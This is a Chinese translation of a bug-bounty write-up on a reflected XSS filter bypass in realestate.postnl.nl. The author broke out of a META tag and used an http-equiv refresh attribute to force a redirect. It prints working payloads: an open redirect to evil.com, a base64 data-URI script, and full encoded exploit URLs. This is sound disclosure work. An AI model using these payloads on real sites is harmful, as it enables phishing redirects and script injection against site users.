在realestate.postnl.nl中使用META標籤繞過xss過濾器

翻譯自:https://medium.com/@prial261/xss-bypass-using-meta-tag-in-realestate-postnl-nl-32db25db7308
翻譯:聶心明

今天我準備將一個xss漏洞報給 postnl.nlsrc

漏洞點:http://realestate.postnl.nl/?Lang=
我使用“><xsstest>測試Lang參數是否有xss,然後在源碼中我發現我輸入的參數被輸出到META標籤之中了,就像下面這樣 :

<meta name="language" content=""><xsstest>" /> 

看起來很簡單對吧?但是等一下,我輸入"><img src=x>我得到:
image

我嘗試了很多HTML標籤,然後我總結了兩點:

  • 所有的有效的HTML都不被允許
  • 我能創建任何屬性

所以我谷歌尋找meta標籤屬性,得到:
image

http-equiv屬性引起我的注意。現在我又谷歌希望能瞭解到更多的東西

META標籤有一個http-equiv屬性,這個屬性允許你在HTML代碼中定義HTTP頭的等效項。http-equiv屬性會使用refresh這個值,這個值的可以被用來跳轉到其他頁面。
然後我輸入0;http://evil.com"HTTP-EQUIV="refresh"頁面顯示:

<meta name="language" content="0;http://evil.com"HTTP-EQUIV="refresh"" />

然後跳轉到了evil.com,所以我已經能夠跳轉了。現在我試着構造URI XSS,所以我輸入0;javascript:alert(1)"HTTP-EQUIV="refresh"頁面報
image
我的payload中觸發了javascript關鍵字。所以我使用Base64編碼一下payload。0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh",然後返回的源碼是:

<meta name="language" content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"" />

現在我訪問:http://realestate.postnl.nl/?Lang=0%3Bdata%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg%3D%3D%22HTTP-EQUIV%3D%22refresh%22就可以xss了
image

我把漏洞報告給了官方Zerocopter 。然後廠商通過把data:text/html;base64加入黑名單的方式修復了此漏洞,這種方式就像把javascript加入黑名單一樣,但是我依然可以通過訪問http://realestate.postnl.nl/?Lang=0%3Bhttp%3A%2f%2fevil.com%22HTTP-EQUIV%3D%22refresh%22來達到任意跳轉的目的。

image

官方又一次修復了這個漏洞,並且把我的名字放在了名人堂 頁面上,並且將會給我發一些禮物
image

謝謝你們閱讀
喜歡我的話請在我的推特上關注我: https://twitter.com/prial261
如果你們有任何問題,歡迎在Facebook上向我提問
https://www.facebook.com/prial261

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章